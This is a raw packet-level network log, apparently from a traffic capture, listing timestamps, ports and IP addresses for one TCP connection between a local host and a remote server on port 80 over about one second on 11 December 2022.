Dec 11, 2022 09:26:40.902508974 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.902540922 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.902582884 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.902591944 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.905807018 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.905960083 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.906074047 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.906116009 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.906169891 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.906191111 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.906361103 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.906502962 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.906562090 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.906615019 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.906661987 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.906682968 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.906749964 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.906812906 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.906857967 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.906902075 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.906972885 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.907004118 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.907074928 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.907147884 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.907215118 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.907280922 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.907294989 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.907350063 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.907414913 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.907460928 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.907480955 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.907526970 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.907552958 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.907618999 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.907691002 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.907737017 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.907757044 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.907804012 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.907823086 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.907888889 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.907953978 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.907999039 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.908020020 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.908067942 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.908090115 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.908158064 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.908215046 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.908232927 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.908303976 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.908370972 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.908426046 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.908467054 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.908519983 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.908540010 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.908603907 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.908669949 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.908754110 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.908798933 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.908826113 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.908833027 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.908895969 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.908943892 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.908961058 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.909025908 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.909090042 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.909136057 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.909157991 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.909203053 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.909225941 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.909296036 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.909372091 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.909423113 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.909440041 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.909482956 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.909507036 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.909571886 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.909629107 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.909638882 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.909703016 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.909758091 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.909769058 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.909836054 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.909909010 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.909975052 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.909976006 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.910027027 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.910043955 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.910111904 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.916225910 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.927587986 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.927663088 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.927726984 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.930845976 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.930977106 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.931022882 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.931066036 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.931071997 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.931107998 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.931119919 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.931154013 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.931195974 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.931238890 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.931246042 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.931291103 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.938786030 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.938834906 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.938911915 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.938930988 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.938956976 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.938999891 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.939042091 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.939085960 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.939173937 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.939665079 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.939804077 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.939843893 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.939888000 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.940006018 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.940066099 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.940128088 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.940234900 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.940304041 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.940365076 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.940413952 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.940623999 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.940687895 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.940731049 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.940773964 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.940783024 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.940815926 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.940830946 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.940857887 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.940901041 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.940962076 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.940972090 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.941004992 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.941005945 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.941049099 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.941091061 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.941138029 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.941149950 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.941178083 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.941190004 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.941220999 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.941262960 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.941303968 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.941317081 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.941346884 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.941351891 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.941389084 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.941431046 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.941474915 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.941478968 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.941515923 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.941518068 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.941557884 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.941601038 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.941643000 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.941649914 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.941685915 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.941689968 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.941726923 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.941768885 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.941812038 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.941819906 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.941854000 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.941854954 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.941895962 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.941939116 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.941981077 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.942015886 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.942025900 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.942064047 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.942066908 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.942111015 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.942122936 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.942157030 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.942199945 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.942241907 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.942254066 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.942284107 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.942291975 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.942326069 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.942367077 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.942445993 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.942487955 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.942634106 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.944312096 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.944360018 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.944452047 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.956073999 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.956132889 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.956255913 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.959419012 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.959552050 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.959572077 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.959599018 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.959640980 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.959683895 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.959696054 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.959727049 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.959729910 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.959769964 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.959815025 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.959830999 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.967305899 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.967353106 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.967391968 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.967396975 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.967441082 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.967453003 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.967483997 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.967525959 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.967529058 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.967567921 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.970199108 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.971779108 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.971992016 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.972054958 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.972117901 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.972172976 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.972214937 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.972258091 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.972265005 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.972299099 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.972305059 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.972341061 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.972410917 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.972443104 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.972484112 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.972526073 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.972565889 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.972570896 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.972616911 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.972635031 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.972681999 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.972692013 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.972723007 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.972769022 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.972786903 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.972837925 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.972878933 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.972920895 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.972924948 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.972963095 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.972973108 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.973005056 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.973046064 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.973090887 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.973124027 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.973131895 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.973153114 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.973196983 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.973237991 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.973269939 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.973300934 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.973340034 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.973340988 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.973383904 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.973388910 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.973447084 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.973488092 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.973489046 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.973529100 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.973570108 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.973611116 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.973611116 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.973651886 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.973653078 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.973694086 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.973736048 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.973776102 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.973797083 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.973817110 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.973818064 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.973859072 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.973898888 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.973941088 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.973980904 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.974021912 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.974045038 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.974078894 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.974095106 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.974138975 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.974174976 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.974201918 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.974256039 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.974315882 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.974344015 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.974383116 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.984704971 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.988432884 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.988503933 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.988543987 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.988698959 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.988751888 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.988797903 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.988797903 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.988840103 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.988846064 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.988888979 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.988940954 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.988995075 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.995882034 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.995954990 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.996108055 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.996431112 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.996506929 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.996536016 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.996634960 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.996762991 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.996782064 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.998943090 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.999044895 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.999053001 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.002351046 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.002414942 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.002459049 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.002511024 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.002582073 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.002607107 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.002624035 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.002676964 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.002705097 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.002747059 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.002788067 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.002827883 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.002847910 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.002904892 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.002918005 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.003000975 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.003042936 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.003051996 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.003128052 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.003175020 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.003216982 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.003256083 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.003304005 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.003372908 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.003447056 CET	80	49738	193.23.244.244	192.168.2.3
